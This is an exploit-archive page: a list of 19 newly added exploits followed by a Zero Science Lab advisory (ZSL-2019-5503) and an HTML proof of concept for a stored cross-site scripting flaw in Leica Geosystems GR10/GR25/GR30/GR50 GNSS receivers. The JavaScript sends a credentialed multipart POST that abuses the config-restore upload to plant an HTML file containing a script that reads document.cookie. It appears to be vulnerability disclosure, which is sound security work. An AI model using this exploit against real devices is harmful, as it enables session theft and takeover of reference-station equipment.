deaee53895
19 changes to exploits/shellcodes Microsoft Edge 44.17763.1.0 - NULL Pointer Dereference BlueAuditor 1.7.2.0 - 'Key' Denial of Service (PoC) SpotFTP Password Recover 2.4.2 - 'Name' Denial of Service (PoC) Foscam Video Management System 1.1.4.9 - 'Username' Denial of Service (PoC) KioWare Server Version 4.9.6 - Weak Folder Permissions Privilege Escalation Mailcleaner - Authenticated Remote Code Execution (Metasploit) Embed Video Scripts - Persistent Cross-Site Scripting All in One Video Downloader 1.2 - Authenticated SQL Injection LayerBB 1.1.1 - Persistent Cross-Site Scripting MyBB OUGC Awards Plugin 1.8.3 - Persistent Cross-Site Scripting PLC Wireless Router GPN2.4P21-C-CN - Cross-Site Scripting phpMoAdmin MongoDB GUI 1.1.5 - Cross-Site Request Forgery / Cross-Site Scripting Wordpress Plugin UserPro < 4.9.21 - User Registration Privilege Escalation MyT Project Management 1.5.1 - 'Charge[group_total]' SQL Injection Roxy Fileman 1.4.5 - Unrestricted File Upload / Directory Traversal Ajera Timesheets 9.10.16 - Deserialization of Untrusted Data Leica Geosystems GR10/GR25/GR30/GR50 GNSS 4.30.063 - Cross-Site Request Forgery Leica Geosystems GR10/GR25/GR30/GR50 GNSS 4.30.063 - JS/HTML Code Injection Huawei E5330 21.210.09.00.158 - Cross-Site Request Forgery (Send SMS)
83 lines
No EOL
2.9 KiB
HTML
83 lines
No EOL
2.9 KiB
HTML
<--
|
|
|
|
Leica Geosystems GR10/GR25/GR30/GR50 GNSS 4.30.063 JS/HTML Code Injection
|
|
|
|
|
|
Vendor: Leica Geosystems AG
|
|
Product web page: https://www.leica-geosystems.com
|
|
Affected version: 4.30.063
|
|
4.20.232
|
|
4.11.606
|
|
3.22.1818
|
|
3.10.1633
|
|
2.62.782
|
|
1.00.395
|
|
|
|
Summary: The Leica GR10 is the next generation GNSS reference station receiver
|
|
that combines the latest state-of-the-art technologies with a streamlined
|
|
'plug and play' workflow. Designed for a wide variety of GNSS reference station
|
|
applications, the Leica GR10 offers new levels of simplicity, reliability and
|
|
performance.
|
|
|
|
Desc: The application suffers from a stored XSS vulnerability. The issue is
|
|
triggered via unrestricted file upload while restoring a config file allowing
|
|
the attacker to upload an html or javascript file that will be stored in
|
|
/settings/poc.html. This can be exploited to execute arbitrary HTML or JS
|
|
code in a user's browser session in context of an affected site.
|
|
|
|
Tested on: BarracudaServer.com (WindowsCE)
|
|
|
|
|
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
|
@zeroscience
|
|
|
|
|
|
Advisory ID: ZSL-2019-5503
|
|
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5503.php
|
|
|
|
Ref: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5502.php
|
|
|
|
|
|
18.12.2018
|
|
|
|
-->
|
|
|
|
|
|
<html>
|
|
<body>
|
|
<script>
|
|
function submitRequest()
|
|
{
|
|
var xhr = new XMLHttpRequest();
|
|
xhr.open("POST", "http:\/\/192.168.1.17\/upload_config\/", true);
|
|
xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundaryKW8wlraBygxiEQyo");
|
|
xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,image\/apng,*\/*;q=0.8");
|
|
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");
|
|
xhr.withCredentials = true;
|
|
var body = "------WebKitFormBoundaryKW8wlraBygxiEQyo\r\n" +
|
|
"Content-Disposition: form-data; name=\"file\"; filename=\"xss.html\"\r\n" +
|
|
"Content-Type: application/octet-stream\r\n" +
|
|
"\r\n" +
|
|
"\n" +
|
|
"\x3chtml\x3e\r\n" +
|
|
"\x3chead\x3e\r\n" +
|
|
"\x3ctitle\x3eHTMLi\x3c/title\x3e\r\n" +
|
|
"\x3c/head\x3e\r\n" +
|
|
"\x3cbody\x3e\r\n" +
|
|
"\x3cscript\x3econfirm(document.cookie)\x3c/script\x3e\r\n" +
|
|
"\x3c/body\x3e\r\n" +
|
|
"\x3c/html\x3e\n" +
|
|
"\n" +
|
|
"\r\n" +
|
|
"------WebKitFormBoundaryKW8wlraBygxiEQyo--\r\n";
|
|
var aBody = new Uint8Array(body.length);
|
|
for (var i = 0; i < aBody.length; i++)
|
|
aBody[i] = body.charCodeAt(i);
|
|
xhr.send(new Blob([aBody]));
|
|
}
|
|
</script>
|
|
<form action="#">
|
|
<input type="button" value="Init" onclick="submitRequest();" />
|
|
</form>
|
|
</body>
|
|
</html> |